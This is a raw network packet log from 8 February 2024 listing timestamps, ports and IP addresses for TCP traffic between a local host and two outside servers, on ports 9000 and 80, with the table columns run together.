                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600035906 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600071907 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600106955 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600127935 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600142002 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600151062 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600174904 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600178003 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600214958 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600244999 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600250959 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600260019 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600289106 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600295067 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600325108 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600327015 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600361109 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600363016 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600397110 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600400925 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600454092 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600466013 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600492954 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600492954 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600529909 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600537062 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600564957 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600568056 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600601912 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600603104 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600637913 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600640059 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600673914 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600676060 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600709915 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600712061 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600745916 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600749016 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600784063 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600784063 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600820065 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600821018 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600857019 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600858927 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600894928 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600930929 CET90004977588.198.108.242192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.600933075 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.601361990 CET497759000192.168.2.588.198.108.242
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743211985 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743240118 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743256092 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743269920 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743284941 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743299007 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743311882 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743324041 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743324041 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743340015 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743354082 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743369102 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743381023 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743388891 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743395090 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743408918 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743410110 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743421078 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743428946 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743434906 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743449926 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743457079 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743463993 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743478060 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743480921 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743491888 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743506908 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.743534088 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745656967 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745671988 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745683908 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745697975 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745712042 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745723963 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745745897 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745840073 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745852947 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745863914 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745876074 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745901108 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745914936 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745920897 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745928049 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745928049 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745940924 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745948076 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745954037 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745969057 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745978117 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745981932 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.745995045 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746006012 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746007919 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746022940 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746052027 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746073008 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746140003 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746154070 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746166945 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746181965 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746232033 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746236086 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746253014 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746264935 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746278048 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746289968 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746293068 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746303082 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746315002 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746318102 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746328115 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746340036 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746340990 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746381998 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746723890 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746798038 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746810913 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746828079 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746848106 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746860027 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746907949 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746921062 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746933937 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746943951 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746947050 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746962070 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746997118 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.746997118 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747020006 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747034073 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747046947 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747060061 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747071028 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747076035 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747083902 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747095108 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747096062 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747109890 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747122049 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747134924 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747163057 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747338057 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747350931 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747363091 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747375965 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747378111 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747387886 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747400999 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747409105 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747414112 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747427940 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747437954 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747440100 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747453928 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747462988 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747467995 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747477055 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747482061 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747495890 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747508049 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747509003 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747524977 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747535944 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747538090 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747565985 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747710943 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747725964 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747736931 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747760057 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747773886 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747783899 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747814894 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747908115 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747929096 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747941971 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747953892 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747967005 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747980118 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747992992 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.747998953 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748006105 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748016119 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748022079 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748035908 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748039007 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748049974 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748064041 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748065948 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748076916 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748090982 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748094082 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748104095 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748111010 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748116970 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748130083 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748142958 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748146057 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748156071 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748163939 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748169899 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748191118 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748425007 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748439074 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748492956 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748797894 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748827934 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748850107 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748898029 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748914003 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748956919 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748979092 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.748992920 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749003887 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749017954 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749020100 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749037981 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749044895 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749078989 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749089956 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749099970 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749114990 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749147892 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749150991 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749161005 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749172926 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749203920 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749285936 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749340057 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749351978 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749365091 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749366999 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749378920 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749392033 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749394894 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749406099 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749419928 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749420881 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749432087 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749444962 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749444962 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749458075 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749470949 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749470949 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749484062 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749496937 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749500036 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749524117 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749571085 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749583006 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749594927 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749609947 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749619007 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749623060 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749634981 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749646902 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749653101 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749660969 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749670029 CET4977180192.168.2.5103.23.232.80
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749675035 CET8049771103.23.232.80192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:52.749689102 CET8049771103.23.232.80192.168.2.5
